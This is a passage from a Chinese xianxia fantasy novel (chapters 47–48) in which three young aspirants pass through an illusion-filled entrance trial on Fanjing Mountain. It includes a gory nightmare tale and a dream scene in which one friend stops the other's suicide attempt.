危急关头,一位仙子踏云而来轻轻落在他面前,她一身浅碧衣裙,一条四指宽的白绫遮着脖颈,隐隐可见脖颈上有一道狰狞的伤疤,她噙笑浅浅:“你好啊,我的意中人,不过,我是来杀你的。”
她将手中利剑一寸寸推入他的心脏。
面容慈悲,手下毫不留情。
看着他血流如注的尸体,面上还保留着生前那不可置信的错愕与痛苦,她摇摇头给予他一个同情的笑容:“愚蠢的男人,为了修成无情大道我可以连命都不要,你以为我会为了你自毁前程吗?”
不久之后,莘梓夏嫁给了一个特别丑陋的男人,这男人满脸紫红色的瘤子,密密麻麻、一颗紧挨一颗,简直没有一块完好的皮肤,丑得不忍直视,她一袭红妆美得惊为天人,也不必说她是名门仙姝了,就算是一个普普通通的凡间女子,嫁给这样的一脸红红紫紫毒瘤子的人,那都是鲜花插在牛粪上。
莘梓夏居然还能满面带笑地跟他拜完堂。
婚后俩人相敬如宾,莘梓夏对他什么都应允,却拒绝同床共枕,她也根本不会上床睡觉,而是在莲台上打坐。
自从嫁给这男人之后,修为果然是进步飞快。
秀雪堂里,韩露给座下弟子授课。
“五色迷人眼,你们的第一课就是如何禁断情欲,各自准备吧,为期三日。”
堂下一众美貌仙娥低声讨论着师尊抛出的问题。
“饱暖思淫欲,所以应当清淡饮食。”
“眼不见心不烦,不见则无不净。”
“佛曰四大皆空,听禅问道则心如明镜。”
“堵不如疏,转移注意力可为良策。”
一人答道:“弟子将师尊画像日日挂于床头,谨遵师尊教诲,不敢心有他念。”
韩露没说话。
又有人答:“弟子日日抄写清心决,时时警醒自己。”
韩露轻笑,不置可否。
莘梓夏道:“弟子找了一个长相丑陋的男子置于庭院之中,朝夕相处。”
韩露有了兴趣:“哦?感觉如何呢?”
莘梓夏皱起眉:“弟子这几日连饭都不想吃了。”
韩露大笑乐:“甚好甚好,食色性也,断食可断欲,梓夏最合吾意!”
于是韩露参考莘梓夏的建议,找了八大丑男,癫子、疯子、瘸子、傻子……简直丑得五花八门,每个仙子收其中一个当徒弟。
其他峰主听闻直摇头:“把鲜花跟狗屎放在一起,真不怕久而不闻其臭。”
那个丑陋的男子对莘梓夏极好,把她看做是自己的女神,因为正是她从天而降救了自己,他以为是自己本性善良才得上天眷顾,他每天都在等她回来,亲手做好饭菜翘首以盼。
韩露规定,不得欺辱任何一个丑男,这让莘梓夏很郁闷,看着那个男人她想死的心都有,更别说吃他做的东西了。
丑男对她很尊敬,每次见到她都眸光发亮,小心翼翼地关心着她:“仙子回来了……我做了你最喜欢的莲子羹,仙子吃完我再来收拾。”
莘梓夏转手从窗户外面倒了出去。
长此以往,男人越发自卑,由爱故生忧,由爱故生怖,梦魇借此蛊惑他:“看看吧,莘梓夏她根本就是厌恶你,恶心你,你也不瞧瞧自己的模样,癞蛤蟆还想吃天鹅肉真是笑死个人!”
“醒醒吧,只要你杀了莘梓夏,本尊可以满足你任何一个愿望,本尊会让你成为天底下最尊贵英俊的男人,让所有的美女都围着你转。”
丑男消失了。
莘梓夏左左右右找了许久,最后冷哼道:“管他呢,走了更好,省得碍眼。”
最后她还是不放心去悬崖、枯井下都找了个遍,还是没有发现任何线索,丑男就仿佛人间蒸发了一般。
后来,一次门派历练中,一个英俊潇洒的别派师兄与她同行,替她解围,总是关心她,这让莘梓夏有点飘飘然,她跟这人走得越来越近,关系日渐亲密。
所有人都觉得莘梓夏疯了,因为在其他人眼里,根本就没有什么风度翩翩的师兄,她身边只是一个相貌丑陋的男人。
莘梓夏知道真相后恼羞成怒,知道自己中了魇魔的诅咒,气愤之下竟剜去了自己的双眼。
丑男悔恨不已,捧着莘梓夏血淋淋的眼睛痛不欲生,求魇魔帮仙子治好眼睛,他可以什么都不要,他自始至终不过是想让仙子多看自己两眼,没想到会如此。
魇魔哈哈大笑:“这有何难,现在莘梓夏不是可以时时刻刻只‘看着’你一个人了吗?”
丑男发现那双眼睛居然长在了自己手心里,一手一只,他愤怒咆哮,大骂自己的梦魇。
他握起双拳想去撕碎可恶的魇魔,旁边昏迷的莘梓夏却凄厉地惨叫一声,眼眶开始流血。
魇魔哈哈大笑:“你看你,一点都不小心,仙子都被你弄疼了哈哈哈哈!”
莘梓夏捂着潺潺渗血的眼眶满地打滚,丑男想去安抚她没想到又不小心碰到了那双眼睛,莘梓夏叫得更加凄厉,一口鲜血喷出直接昏死过去。
丑男尖叫着、拿头直撞墙,撞得满脸鲜血直流:“都怪你都怪你!你是个笨蛋!蠢才!你就是一头猪!是你害了梓夏!”
他最后一狠心叼住莘梓夏的仙剑砍断了自己的双手,以为自己终于救了她,没想到这双眼睛迅速从断手上转移到了手臂流血的切面上。
“啊!!!!!”
“梦魇!我不要英俊的脸了!你把手还给我!把我的手还给我!!!你这个魔鬼!你出来啊!”
他疯狂地踩踏着那双眼睛,踩得地上满是黑白分明的碎片,仿佛有无数双小小的眼睛在怨毒地盯着他。
地上的莘梓夏疼醒又昏死过去,整个人躺在血泊之中。
丑男发现那些眼睛的碎片全都消失不见了,他开始狂笑、笑了没多久又惨叫一声,一只脚踩在了莘梓夏纤细的脖颈上,眼睛充血,嘴里不停地咒骂着。
“都是你……都是因为你……去死!给我死!你这个贱人!”
莘梓夏死了,凄惨万状,尸体被抬回了绣雪峰,韩露被弟子搀扶着,哆哆嗦嗦揭开尸体上的白布,霎那间昏厥过去。
她脸上都是血,脖颈断裂处,留下了许多,人的齿痕……令人毛骨悚然,很难想象她究竟是怎么死的。
韩露恍恍惚惚又苏醒过来,甚至不敢碰莘梓夏那残破的尸身,一代峰主蜷缩在地上放声痛哭。
“梓夏啊……到底是谁居然如此丧心病狂残害我的女儿……”
此后,世间多了一个多目怪,专虐杀美貌女子,一度闹得人心惶惶。
“纤茉!醒醒,该出发了!”
苏潋影清甜的嗓音叫醒了迷梦中的楚纤茉,她出了一身冷汗,身上盖着苏潋影的披风,昨天晚上三人围着篝火聊天时,她居然不知不觉就睡着了,还做了那样光怪陆离的梦。
她努力甩甩脑袋,将那些可怕的梦境抛诸脑后,随着苏潋影和郁霄继续踏上求仙之旅。
接下来就是正式攀登梵净山了,郁霄走得不紧不慢,楚纤茉也是不徐不疾,唯独苏潋影,恨不得一脚跨三个台阶,还回头笑嘻嘻跟他们显摆:“纤茉、郁兄,你们这不
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行啊,看我跑得多快,走不动了是吧,来来来来,能者多劳,要不我拉着你俩?”
郁霄无奈摇头,有些哭笑不得道:“苏苏,爬山不能一味图快,你这般消耗体力,后半段可就走不动了。”
苏潋影一听瞪大了眼睛,手拍着自己的胸脯一脸骄傲:“不会,我身体倍儿棒,现在我感觉浑身有使不完的力气!”
两个时辰后,苏潋影仿佛一具死尸瘫倒在半山腰的草地上,头顶上出现两张脸,一张担忧中带点收敛的憋笑,另一张则完全是明晃晃的嘲笑。
“苏苏,你还好吗?”
“怎么样?说了你不听,你跟一座山较什么劲?”
苏潋影朝两位一抱拳:“虽死犹荣啊,我走不动了,让我安静地死这儿吧,或许哪位仙师下山时看到我这一缕孤魂会被我的诚心打动。”
郁霄摸摸下巴,若有所思:“万一那位路过的仙师顺手把你当邪祟灭了呢?”
苏潋影一个鲤鱼打挺翻身坐起:“那可不行,我还是继续走吧。”
这次走了没一会儿就看到了前方有几个人影,苏潋影先激动地叫了起来,指着前面的人喊道:“我们是不是追上前一波人了?”
郁霄原本双手抱臂,听了苏潋影这话单手扶住了眉心:“那明显是朝我们走过来的啊……”
楚纤茉有些紧张地盯着那群离他们越来越近的人,他们身着青色轻衫,走起来襟飘带舞,俨然神人相仿。
郁霄摸着下巴自言自语道:“莫非是梵净山的人?不能吧,这才走到半山腰啊,难道这样就算过关了?”
那行人已经走近,齐刷刷朝他们微微拱手,只见这些人皆是风度翩翩、相貌不俗,男的玉树临风、女的清婉出尘,为首一男弟子出列笑道:“恭喜三位通过我们梵净山的入门考验,在下掌门首徒叶斐,你们可以叫我叶师兄,请随我们前往青云峰吧,峰主们此时都在云麓天台,到了之后会对你们进行下一轮考验。”
听到这里众人都松了一口气,原来登山这一轮考验就算结束了啊。
苏潋影一向心直口快,听到这里后怕地拍拍胸口:“早说嘛,原来半路有人来接应啊,吓死我了,还以为要一直爬到山顶呢。”
叶斐望着她娇憨的模样微微噙笑,柔声解释道:“既然是考验怎么会提前公之于众?只有信念坚定,抱着一口气攀登到山顶的决心才会在途中遇到别样的仙缘啊。”
苏潋影见这位师兄如此温文儒雅,又十分好说话的样子,忍不住跟他攀谈起来。
两人并排走着,苏潋影低声道:“叶师兄,哪位峰主比较亲切友善一点啊,我在严师手里可能活不过三天。”
叶斐闻言轻笑出声,一双星眸在苏潋影脸上轻轻定住,随即移开目视前方:“这个嘛,其实除了潇湘峰沈峰主、太曦峰符峰主和蘅泽峰的宋霜宋师叔,其他人都很好相处的。”
向前走了没多久进入一片云雾之中,几乎不辨方向,苏潋影只能看见前面叶斐若隐若现的背影,害怕自己跟丢情急之下跑了两步,脚下却踩空了一个台阶,她惊呼一声,身子向前栽去,却没有狼狈地滚下阶梯,而是在鼻尖快蹭到地面时,被一股自前方袭来的清风卷起,身子如同一片花瓣被清风托举着向前飞去,然后稳稳落地,来到了一个白袍男子面前,那人的白衣被山风吹得轻轻拂动,劲腰被一段银色腰封包裹得恰到好处,衣袂薄如蝉翼的轻纱上摇曳着淡金色的莲花图案,散落下来的墨发时不时卷上翻飞的衣角,飘零似仙。
苏潋影缓慢地抬起头,对上了一双琥珀颜色的浅淡眸子,他脸上如同笼罩着一层极淡的光芒,看着让人有些微微的眩晕,如此仙人之姿让人忍不住想顶礼膜拜,但苏潋影心里却天塌地陷、五雷轰顶一般,感觉三观尽碎,后退两步石破天惊道:“林、林火火?”
47. 嫣雨相逢
叶斐见状连忙躬身行礼:“见过花师叔。”
又低声在旁边提醒苏潋影道:“这是嫣雨峰主花焚熠,快去见礼。”
苏潋影目瞪口呆地行了一礼,心里依旧是惊涛骇浪翻涌。
神他妈林火火,感情是从自己真名里拆字组词啊!
花焚熠看了一眼苏潋影,转身间淡淡吩咐道:“跟我来吧。”
苏潋影指着自己的鼻子看向叶斐,不确定地问道:“我?”
叶斐笑着,低声催促道:“去吧,许是小师叔想收你做弟子,这机会可遇不可求,你要把握住啊。”
苏潋影看着已经走远的花焚熠,心下虽然百转千回但脚步却毫不迟疑,跟着花焚熠过了几段虹桥,抵达了一处桃花灼灼、遍地生霞的秀丽山峰,脚下的花瓣堆积如雪,如同踩在厚厚的地毯上,空中紫雾缭绕、仙鹤婉转起舞,远处木制小楼笼罩在一片烟雨葱茏中。
不知何时脸上凉丝丝的,风吹过来还有些冷,花焚熠脚步顿住,待苏潋影走近时撑起了一把油纸伞遮住漫天的桃花雨,伞面上本来空无一物,是一片青白色,不知何时生出了一条细细的花枝,那条柔软的枝蔓缓缓舒展开来,两端迅速向伞面空白的地方蔓延,并且生出了一些分枝,紧接着枝条上又生长出新鲜的嫩叶与点点深红的花苞,他们走了才短短十几步,花苞迅速绽开,如少女翘起的兰花指、如蝴蝶张开的双翼,粉色的桃花遮盖了大半个伞面,映衬的花焚熠瓷白的面颊都染上了三分绯红。
苏潋影的眼神环顾四周,结合郁霄对梵净十二峰的讲解,这应该就是第十二峰嫣雨峰,而身边这位就是十二峰主里年纪最小的那位花焚熠。
她看一眼山峰上的景致,再打量一眼身旁撑伞款款而行的花焚熠,眼珠骨碌碌转了两下,随后娇笑嫣然道:“花峰主,不知接下来的考验是什么啊?”
花焚熠不语,她也识趣地没有多问。
头顶的一片紫云飘过,雨势渐住,花焚熠收了伞,那把油纸伞在他手中消失,他走向不远处如伞盖般的桃花树下,抬手一挥,落英缤纷的草地上多了一张茶案,一只玉凳,茶案上摆满了各种茶具,花焚熠一掀衣摆兀自坐了下来,随后左手轻轻捏住右腕下过分飘逸的长袖,手法娴熟地开始清洗茶具,修长白皙的五指在各种瓷盏、工具间有条不紊地来回穿梭,节奏十分紧密却一点也不忙乱,看着可谓是赏心悦目,他薄唇轻启带着儒雅随和的笑意:“坐。”
苏潋影原本抱在胸前的手臂松开了,垂眸环顾左右,不确定地问道:“坐哪里啊?”
这草地可还湿着呢。
苏潋影凝神想了一会儿,随即了然,懂了,这大概也是考验的一环,不愧是大门派啊,不止要考验弟子的体质耐力,连应急应变能力都要考,讲究。
苏潋影刚想就地取材找找看有没有石板什么的,就听身后一个声音淡淡调笑道:“不如坐为师腿上,如何呢?”
苏潋影刚搬起来的石头差点砸自己脚面上,回眸看见对方那依旧正经到不带一丝邪气的面容,又觉得是自己想多了。
考验我的定力是吧?
省省吧男人,虽然你生得倾世仙姿、清逸出尘,但咱俩年龄差太大,你少说活了几千年,我撑死也就虚岁十五,真带你回家长辈们就算不请家法,一顿圈踢我也得去半条命。
苏潋影摸摸下巴,以牙还牙:“如果峰主愿意把自己的双腿砍下来,我倒也可以勉强当个凳子。”
花焚熠听了这话非但不生气,反而饶有趣味地打量着她,苏潋影已经搬着一块较为平整的石头坐在了他旁边,双手托腮注视着缓缓流入青瓷盏里的氤氲茶水。
“请。”
花焚熠微微一摆手,一盏热茶从桌面中央轻轻浮起却丝毫不见颠簸,茶水甚至没有洒落一滴飞到了苏潋影面前,她抬手接住,轻轻抿了一口。
此茶入口微苦,回味甘甜……忽然一股浓重的苦涩直冲天灵盖,苏潋影半条舌头都麻木了,直接骂出声:“我靠!什么鬼东西!”
她拍案而起,茶具扬了一地,怒声叱道:“还有,谁要给你当徒弟了!”
随后掌心碧光一闪,泣无痕已经握在了手中,玉鞭甩开带着破风声直劈向花焚熠面门,后者嘴角凝着一丝笑意,不避不闪,抬手握住了凌厉的鞭梢,随后用力往后一扯,苏潋影不可能在同一个地方跌倒两次,迅速撒手,鞭子被花焚熠抢了过去,随即调转矛头向自己攻来。
苏潋影笑了,并不惧怕,而是掌中凝气出现了一把短匕首,脚下一个垫步迎着鞭风向花焚熠冲去,玉骨鞭扫过她的身体时,匕首也狠狠插入了花焚熠腹部,鲜血迅速晕染开来,在他雪白的衣衫上开出大片的艳丽桃花,甚至还有一滴鲜血飞溅进了苏潋影的左眼中,令她的眼眸也染上了血色,她的表情冷漠中透着一股狠厉,看着仿佛一个玉面修罗。
泣无痕自然不会伤害主人,那一鞭子打在她身上不痛不痒,而苏潋影这一刀扎扎实实捅进了花焚熠的身体里,他却仿佛感觉不到疼痛似的,依旧淡淡笑着,抬起手轻轻擦去溅落在苏潋影眼角的血点,薄唇轻启在她耳边低声道:“徒儿好狠的心……”
“妖孽!哪个是你徒儿!”
苏潋影被耍出了火气,左手又凝结出了一把长剑,还没来得及刺出,眼前人已经化作片片桃花瓣,随风而逝。
她站在原地怔了一会儿,看着桃花瓣散作粉色的轻烟,烟雾在她头顶盘旋一阵渐渐消弭,随后周围的桃花树、远处的木制小楼全都如同被打碎的镜子般哗然瓦解,恍若有一层透明的结界被打破,眼前的迷雾全部散去,只剩下梵净山半山腰的空旷草地,炎炎烈日照得人有些睁不开眼,苏潋影原地恍惚了一阵,随即立刻四下搜寻楚纤茉和郁霄。
虽然她骂那个假扮花焚熠的东西是妖孽,但梵净山地界不应该有妖孽作祟,所以,这八成就是梵净山的入门考试,只是她遇到的这个npc有点烧……
她很快就与郁霄相遇了,对方也是一脸敢怒不敢言,心里直骂娘。
梵净山这什么破考试,跟进了盘丝洞有什么区别?要不是他跑得快这会儿已经当上新郎了,还是一次性娶八个的新郎……
苏潋影跟他汇合之后两人简单交换了一下情报,迅速制定了救人方案。
郁霄道:“这应该是一个结合护山阵法的心魔大阵,只是我觉得有点奇怪……”
他暂时压下心里的疑惑,目视前方道:“救人要紧,纤茉没有任何法器护身,凡人之躯会遇到危险,我感觉心魔大阵里的妖物会跟试炼者们玩真的,”
他神色冷凝,手中阴阳风水扇刷拉一下抖开,正为阳反为阴,白为天玄为地,平时他都以阳面朝前,如今手腕一翻,霎时间天地变色,头顶迅速风云变化,乌云压城,不见一丝日光,而郁霄手里的已经调转为玄阴的扇面上有一个太极八卦图腾正在发着诡异的红光。
太极图的八门休、生、伤、杜、景、死、惊、开依次发出亮光再熄灭,周转两息后只剩下死和惊还残留着微光,郁霄手中折扇的扇锋指向东北角的一棵香樟树,短促简单地交代一句:“苏苏,你去死门,进去之后由惊门出,也就是我现在所站的方位,我在外面接应你们。”
“好!”
苏潋影疾步跑向香樟树前,泣无痕对着面前的空气狠狠斜劈下去,刹那之间,眼前的景象在面前扭曲了一下,原本的香樟树被空气挤压地又短又粗,又仿佛被一双手左右拉扯着,最终将它硬生生扯成了一条直线,除了这棵树,周围一片景色也都在发生着这种变化,眨眼间苏潋影已经站在了一片大如湖泊的血水之中,天空被脚下的血
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水映成了艳丽的绯红色,血水仿佛一面镜子,湖底是大片大片妖娆绽放的彼岸花,仿佛吸食够了人的血液,花瓣饱满娇嫩,仿佛蛇蝎美人的红唇一般美丽又危险。
苏潋影四下张望,却没有在水面上发现楚纤茉的身影。
莫非是在水底?
她足尖点地凌空跃起,身子在空中倾斜到几乎与水面平行,在上方探查着楚纤茉的踪迹,终于在飞到湖心时发现了异样。
彼岸花中央躺着一个人,她的发丝如同水藻在湖里慢慢晃动,她紧闭着双眼就如同睡着了一般,只是纤细的脖颈上、手腕上、脚腕上缠满了彼岸花的花茎,那些花茎也是血红色的,仿佛一道道血管……
苏潋影不由得寒毛倒竖,一股凉意自脚心腾起直冲心脏,她发现只有缠绕在楚纤茉身上的那段花茎是红色的,除此之外所有的花茎都是一种灰蒙蒙的青绿色。
花茎里流淌着楚纤茉的血!
她深吸了一口气,一个附身冲入了血湖里,拿着匕首想要割断缠住楚纤茉的那些花茎,却发现那些花茎如同有知觉一般,迅速缠绕上了匕首锋利的刀刃,仿佛一条条青绿色的小蛇,而且还在不断向上攀爬,苏潋影迅速松开了手,眨眼间匕首已经被肆意疯长的花茎吞没。
眼见楚纤茉的脸色越来越苍白,几近透明,苏潋影急得抓耳挠腮,脚下又是一蹬浮出了水面,半截身子泡在血水里,双手结印,血湖的水自左右两边向上窜起两股水柱,随后弯成一个半弧一齐向中间汇聚,中间巨大的空隙形成了一道薄薄的水膜,如同一面镜子倒映出了身上血水滴答的苏潋影,随着她手势变化水镜里的画面一转,出现了一个薄纱曼曼的华丽房间,雕花描金的芙蓉榻上铺着垂泻及地的织锦毯,榻上侧卧着一个人,一袭紫黑色的长衫欲遮不遮地包裹着玲珑玉躯,雪白的肩膀和大片后背裸露在外,散落的黑发如同丝滑的水缎一直拖到地面上,她背对着苏潋影,玉臂支撑着螓首,姿态慵懒至极,一双玉足也暴露在空气中,纤细的脚腕上系着用红绳串起来的金铃,随着她轻微地摇晃,金铃发出细碎的清响。
苏潋影扯着嗓子喊:“阿姐!救命啊!”
镜中的极品美人,也就是苏潋影的姐姐、现任碧梧山庄家主苏滟冰,连头都没转一下,手里好像捏着一本书,嗓音却是冰冷而慵懒:“又出什么乱子了?以你的本事难道还能困在那小小试炼中不成?”
苏潋影急得浑身冒汗:“不是我,是我的朋友!她被困在镜花水月里了!”
苏滟冰还是语调慢吞吞道:“哦,你是想救她?”
这不废话嘛!
苏潋影都想给她磕头了:“阿姐,我求你了,快支个招吧,这次算我欠你的,将来一定加倍报答!”
苏滟冰这才缓缓放下了书,打了个哈欠:“都是自家姐妹,这么客气做什么,毕竟我们的家业将来可是要全部交到你手上的……”
听了这话的苏潋影神色有些僵硬,黯然垂下了眼睫,随后就听苏滟冰清冷的嗓音传出水镜。
“彼岸花花茎彻底吞噬完你们两个人需要半个时辰,在此之前想办法唤醒她即可。”
苏潋影心头一喜,连声道:“多谢阿姐,我先去了!”
“慢,”苏滟冰接着道,“影妹,进入梵净山可要好好表现,莫要辜负姐姐的期望。”
“是。”
水镜破碎,镜中人彻底消失,可她的话却仿佛还回响在苏潋影耳畔,她脸上的忧色渐渐被凝重与茫然所取代,再次潜伏进水底,楚纤茉的大半个身子已经被花茎包裹,且茎秆上已经生出了十几朵彼岸花,她用力蹬水游到她面前,用力抱住了她冰冷的身子,随即周围的花茎迅速伸长缠住了苏潋影的身体,尖锐如针的顶端仿佛吸血的蚂蝗扎入了她的血肉之中,贪婪地吸食着新鲜的血液。
48. 彼岸双姝
苏潋影紧紧抱着楚纤茉,随着身体里血液的快速流失,她的意识渐渐模糊,进入了楚纤茉的梦境里。
那是楚家,她小时候去了一次就再也不想去了,这里无论是对于楚纤茉还是对于她来说都是梦魇般恐怖的地方。
楚纤茉的恐惧是因为从小在这里长大,而苏潋影则是因为对挚友不幸遭遇的悲恐。
天空黑漆漆的,她进入院子里,看到院墙上摆着两颗头颅,一男一女,嘴巴还在一张一合地说话,表情极其狰狞,仿佛在相互对骂,一会儿又齐齐冲着一个房间的窗户唇齿不停地开合,仿佛在用尽世界上最恶毒的语言诅咒房间里的人。
这是楚纤茉的梦境,苏潋影什么都听不见,世界对于她来说是静默无声的,苏潋影一鞭子将院墙上的两颗人头抽飞了出去。
随即走到楚纤茉的房门口,门上贴着年画,画上胖胖的赐福女童子跳到了地上,跟凡间五六岁的女娃娃一样大小,原本笑得弯弯的眼睛渐渐眼角下垂,蓄满了泪花,手里拿着的“福”字变成了一把明晃晃的匕首,正是苏潋影被花茎吞没的那把,刚要刺过来时,苏潋影抬腿就是一脚,啪唧一声,赐福女童尖叫着被踹回了门板上空落落的年画里,只是造型十分诡异,维持着四脚朝天的模样,嘴里不停往外流血,怒目圆睁瞪着苏潋影。
房门被一阵风吹开,里面黑漆漆的,楚纤茉似乎刚沐浴完,拿布巾擦着湿漉漉的长发,眼神呆呆的。
哐当一声,有什么东西自窗户外被扔了进来,她捡起来一看,居然是一把匕首。
苏潋影一脚门里一脚门外,眸光凛冽地看向窗户外面一闪而过的小孩背影,牙齿咬得咯咯作响,早知道就把她的腿打断了!
急忙走进昏暗的屋子里,楚纤茉已经坐到了木床上,背靠着墙,伸出手,卷起了左手的袖子,随后拔出匕首,用锋利的刀刃对着自己纤细的手腕比划了一下,又似乎想起了什么,下床翻出了笔墨开始写东西。
苏潋影走到她身后,一字一句将信纸上的内容读了出来。
苏苏:
这个世界上没人能分开我们,就算我不在了,我也会化作风、或作云,永远永远陪在你身边。
姐姐告诉我,我不应该恨任何人,父母、长辈是没有错的,也对,我不应该怨,不应该恨,一切都是我的孽,我不是一个好女儿,我的存在或许是个错误,也许没有我,他们会更幸福快乐,如果真的是这样,我希望所有人都能幸福的活着,而我能够幸福地沉睡。
苏苏,如果你找到了新的朋友,请不要忘记我这个自私、懦弱,一直需要你保护的朋友,好吗?
佛说,人有来生,如果这一生我的债已经偿清了,来世真想做你的姐姐,或者是你的妹妹,和你流着一样的血,时时刻刻和你在一起。
楚纤茉边写边失声痛哭,眼泪一滴滴落在纸上,晕染开的墨迹仿佛一朵朵梅花。
苏潋影眼前渐渐视线模糊,只剩下那墨迹斑驳的一纸遗言。
舍不得我为什么还要放弃自己活下去的权利?别人说两句你就真去死了,你怎么那么听他们的话?我跟你说的全是耳边风吗?
楚纤茉重新坐回了床上,拔出匕首对准了自己的左腕,往下的动作却顿住了,苏潋影死死抓住了锋利的刀刃,虚无的鲜血一滴滴顺着刀刃滑向刀尖,滴滴坠落,如同断线的珠子。
楚纤茉手中的匕首再不能往下一寸,她茫然地看着四周,大而空洞的眼睛里渐渐盛满了惊恐。
“谁?你是谁?你,不希望我死吗?”
她松开匕首,身子不停颤抖着,却没有再逃避,一个人连死都不怕,就不会再怕鬼怪了。
她盯着前方的空气,伸手去触碰那个看不见的人,或者是鬼,眸中居然燃起了一丝生的欲望。
“你是谁?你不希望我就这么死了吗?”
苏潋影看着她的动作,轻轻歪头将自己的脸贴在她的掌心里。
楚纤茉感觉到了如有实质的温热,指尖颤抖了一下,喃喃自语道:“原来鬼是有温度的吗?”
苏潋影咬着唇暗骂:“你才是鬼!”
楚纤茉轻轻蜷住手指,将那抹温暖藏在掌心,对着空气痴痴问道:“请你告诉我,我上辈子是不是一个罪大恶极的人,所以这一生才会这么辛苦?”
苏潋影心尖上又仿佛被一把钝刀插入,伸手在她手臂上缓缓写字。
否。
楚纤茉微微瞪大了眼睛,有一瞬的恐惧,继而是动容,眼泪止不住地往外涌落,嘴唇也止不住地颤抖,又哽咽着问道:“等我哪天死了,会见到你吗?”
手臂上没有任何触感,楚纤茉等了许久才黯然垂眸,看来对方是不愿意回答这个问题,不过也没关系,她知道,这个世界上除了苏潋影,居然还有人希望她能勇敢地活下去,虽然对方可能不是人。
但这就够了,真的足矣支撑她继续走下去。
镜花水月中,楚纤茉缓缓睁开眼睛,看到了一张苍白而熟悉的脸,苏潋影将她紧紧抱在怀里,她们的发丝相互缠绕着,一起沉睡在这鲜红的血池里,仿佛被一块翡玉包裹着的两只相互依偎的小虫子。
原来,梦境中的人也是她,一直都是她而已。
楚纤茉深吸了一口气,她身上的花茎已经吸食够了血液,暂时松开了束缚,她不顾自己是否会被淹死,张开嘴去咬缠绕在苏潋影脖颈上的花茎,血水不停涌入她的喉咙,铜臭味充斥着鼻腔和大脑,她将被彼岸花紧紧缠绕的挚友从花笼中解救了出来。
她向来那么厉害、那么勇敢,事事都冲在最前面,耀眼夺目,仿佛一颗太阳,但现在,太阳在水中无力地沉没,跌入了她怀里。
楚纤茉脑袋眩晕,她被迫灌入了大量的血水,眼前一片模糊,而怀里的人不是苏潋影,却是她的弟弟楚珏。
他在她怀里睁开了一双狡黠的细长眼睛,嘴角勾出令她无比熟悉而毛骨悚然的笑容。
姐姐,好久不见啊。
楚纤茉下意识就要将他扔出去,可是内心深处一个声音却在不断地提醒她。
都是幻觉!全都是幻觉!
一定要带苏苏离开这里!
可是无论她怎么努力地闭上眼睛又重新睁开,眼前的人始终都是楚珏那张阴邪狂笑的脸,他手中举着一把生满倒刺的锥子,毫不客气地刺向她胸口,嘴里吹着得意洋洋的口哨。
楚纤茉的手臂哆嗦着,十指都在不住地痉挛,她身子蜷缩着,紧紧抱着怀里的人往水面游去。
她已经不知道怀里的人到底是挚友还是恶鬼,他不停地拿锥子刺入她的身体,再勾出她的内脏,她已经没有任何力气了,奋力将怀里的人推出水面。
她看到楚珏在她的帮助下向光芒夺目的水面游去,回头露出了一个令她心悸的笑,他将身子往下沉了一下,抬脚重重踩在了楚纤茉的头顶,她整个人迅速往水底坠落,映在水面的粼粼日光刺得她闭上了眼睛。
忽然感觉好累啊,从来没有这么累过,真想好好睡一会儿。
苏苏,我不知道自己有没有把你救出去,可是我真的已经尽力了。
她在水中不停地沉没,感觉自己已经坠入了水底,又冷又痛,无数的彼岸花枝蔓似乎又缠上了她的四肢、脖颈,贪婪地吸食着她的血液,手脚失去了知觉,冰凉的感觉从指尖一直蔓延到手臂,似乎下一刻整颗心脏都会停止跳动,她忽然间害怕了起来,身体轻轻抽搐了一下,她不想被永远困在这片诡异的湖泊里,脑海中满是苏潋影的脸,记忆中,她永远都是一副笑嘻嘻的模样,好想和她永远在一起……
一只手轻轻握住了她的右手,随后忽然发力,拽着她整个人迅速向上浮起,寒冷与恐惧都被甩在身后,那只手的主人仿佛神明一般拥有无穷无尽的力量,就这么拉着她融入了一片璀璨明媚的光芒里。
随着巨大的水花溅起,大量的空气涌入口鼻,楚纤茉落入了一个柔软的怀抱里,脚下似乎是绵软的草地,她跪在地上剧烈地呕吐着,嘴里满是湖里脏污的血水,用湿透的衣袖胡乱擦干净脸上粘稠的血污,眼睛里似乎也
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灌入了血水,胀痛得厉害,她艰难地睁开眼,看到苏潋影盘腿坐在草地上,跟她一样狼狈,脸上却挂着如旧的洒脱笑意。
朝她伸手:“醒了?什么破考题,把我们往死折腾,我们去炸了他的山头好不好?”
“苏苏……”
楚纤茉眼眶里的泪水滑落下来,眼睛里的异物被眼泪冲刷出来,渐渐恢复清明。
劫后余生第一眼看到的是她,楚纤茉再也忍不住了,猛地扑进了苏潋影怀里,死死抱住了她的脖子,她再也不要苏潋影为她经受这么多苦难了,如果不是被自己拖累,苏苏这会儿应该已经到梵净山青云峰了吧。
如果这次能拜入梵净山,她一定要学有所成,总有一天她要与苏苏并肩而立,总有一天她要成为那个保护苏苏的人。
苏潋影按照郁霄的嘱托,带着楚纤茉从惊门出来,外面风和日丽,郁霄看到她们二人出来松了一口气,手中折扇早已换成了阳面,他上前一步道:“怎么去了这么久?我守着惊门不敢轻易进去,在幻境里可有受伤?”
苏潋影摇摇头,面色凝重,抬头看了看通往山顶的漫长台阶,只觉得阴风凄凄、愁云惨淡,一恍神仿佛看见山阶上血流成河,无数人面目狰狞扭曲着从上面滚下来,他们嘶喊着、嚎啕着,嘴里不停呼救,却困在恐怖的心魔大阵里无法解脱。
郁霄似乎也察觉到了什么,脸色有些阴沉:“我们不能再往前走了,这个心魔大阵有古怪,按道理说我们在这儿停留了许久,早该有后来者追上了……”
苏潋影神色一凛,迅速反应了过来:“你是说,在我们后面的人已经踏入了幻境?”
郁霄点点头,脸色愈发难看:“幻境似乎会按照某种规律在上山的道路上随机移动,试炼者们一个不小心就会进入幻境,而且根本不知道试炼是何时开始的,就像我们刚才所经历的那样。”
楚纤茉听了这话心里不由地发毛,攥紧了苏潋影的手,如果真如郁霄所说,那他们现在所处的地方是不是幻境呢?眼前的郁霄,身边的苏潋影,究竟是真人还是幻觉?
似乎是觉察到了楚纤茉内心的想法,郁霄笑道:“纤茉你不必担心,我和苏苏自然都是真人,我手中阴阳乾坤扇一天之内可两次扭转阴阳世界,苏苏手中碧梧山庄镇派灵宝玉骨鞭能破开大多数幻境,所以这些幻术困不住我们两人,这场试炼对于一些普通人来说有失公允,按道理来讲应该按照试炼者的实力酌情降低难度,可是纤茉你遭遇的幻境却比我们这两个手持灵宝的人遇到的都难以对付,所以我认为,梵净山的心魔大阵被人动过手脚,”
他说到这里,语气颓然冰冷:“其目的恐怕是要将这批试炼者尽数消灭。”
苏潋影心头一紧,追问道:“我想不明白,幕后之人这么做的动机是什么?让梵净山招不到新弟子吗?”
